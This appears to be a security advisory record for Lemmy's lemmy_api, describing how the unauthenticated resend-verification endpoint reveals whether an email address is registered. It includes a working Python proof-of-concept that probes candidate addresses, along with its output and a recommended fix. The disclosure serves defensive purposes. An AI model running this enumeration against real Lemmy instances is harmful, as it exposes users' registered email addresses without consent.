{"id":"GHSA-qxrw-f6fh-34r7","aliases":[],"url":"https://o3.security/vulnerability/GHSA-qxrw-f6fh-34r7","summary":"Lemmy resend-verification endpoint exposes registered email addresses to unauthenticated users","details":"## Summary\n\nThe unauthenticated resend-verification endpoint returns different responses for registered and unregistered email addresses. A malicious third party can submit candidate addresses to `/api/v4/account/auth/resend_verification_email` and distinguish accounts from misses.\n\n## Details\n\n`resend_verification_email()` looks up the submitted address and returns the lookup error to the caller:\n\n```rust\nlet local_user_view = LocalUserView::find_by_email(&mut context.pool(), &email).await?;\ncheck_local_user_valid(&local_user_view)?;\n```\n\nThe password reset endpoint already uses a safer pattern. It discards lookup errors and returns success, which prevents the same account-discovery channel.\n\n## Proof of Concept\n\nThe following script creates one user and probes that address plus a missing address.\n\n```python\nimport requests, random, string\n\nBASE = \"http://127.0.0.1:8536/api/v4\"  # change to the target Lemmy URL\nADMIN_USER = \"lemmy\"\nADMIN_PASS = \"lemmylemmy\"\nPASSWORD = \"Password123456!\"\n\ndef post(path, **body):\n    return requests.post(BASE + path, json=body)\n\nsuffix = \"enum\" + \"\".join(random.choice(string.ascii_lowercase) for _ in range(6))\nadmin = post(\"/account/auth/login\", username_or_email=ADMIN_USER, password=ADMIN_PASS).json()[\"jwt\"]\nrequests.put(BASE + \"/site\", headers={\"Authorization\": \"Bearer \" + admin},\n             json={\"registration_mode\": \"open\", \"email_verification_required\": False})\n\nemail = \"alice\" + suffix + \"@example.test\"\npost(\"/account/auth/register\", username=\"alice\" + suffix, password=PASSWORD,\n     password_verify=PASSWORD, email=email).raise_for_status()\n\nfor candidate in [email, \"missing\" + suffix + \"@example.test\"]:\n    r = post(\"/account/auth/resend_verification_email\", email=candidate)\n    print(candidate, \"HTTP\", r.status_code, r.text[:300])\n\n```\n\nOutput:\n\n```text\nalicepoceudtpf@example.test HTTP 200 {\"success\":true}\nmissingpoceudtpf@example.test HTTP 404 {\"error\":\"not_found\",\"cause\":\"Record not found\"}\n```\n\n## Impact\n\nA malicious third party can enumerate registered email addresses without authentication. The endpoint uses the registration rate limit bucket, not an endpoint-specific anti-enumeration limit, so the attacker can automate probes across candidate address lists. The response also distinguishes missing accounts from banned or deleted accounts because `check_local_user_valid()` returns separate error types.\n\n## Recommended Fix\n\nUse the password-reset pattern for resend verification. Move the lookup and email-send work into a helper, ignore helper errors in the handler, and always return `{\"success\": true}` for syntactically valid input.\n\n---\n*Found by [aisafe.io](https://aisafe.io)*","published":"2026-05-06T23:49:18Z","modified":"2026-05-07T00:03:51.724570Z","cvss":null,"epss":null,"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"crates.io","name":"lemmy_api","fixedVersion":null}],"fix":{"url":"https://github.com/LemmyNet/lemmy/commit/4afff1699d08920b9a9023e81b229d772b894d91","label":"LemmyNet/lemmy@4afff16"},"references":[{"type":"WEB","url":"https://github.com/LemmyNet/lemmy/security/advisories/GHSA-qxrw-f6fh-34r7"},{"type":"WEB","url":"https://github.com/LemmyNet/lemmy/commit/4afff1699d08920b9a9023e81b229d772b894d91"},{"type":"PACKAGE","url":"https://github.com/LemmyNet/lemmy"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-05-07T00:03:51.724570Z"}}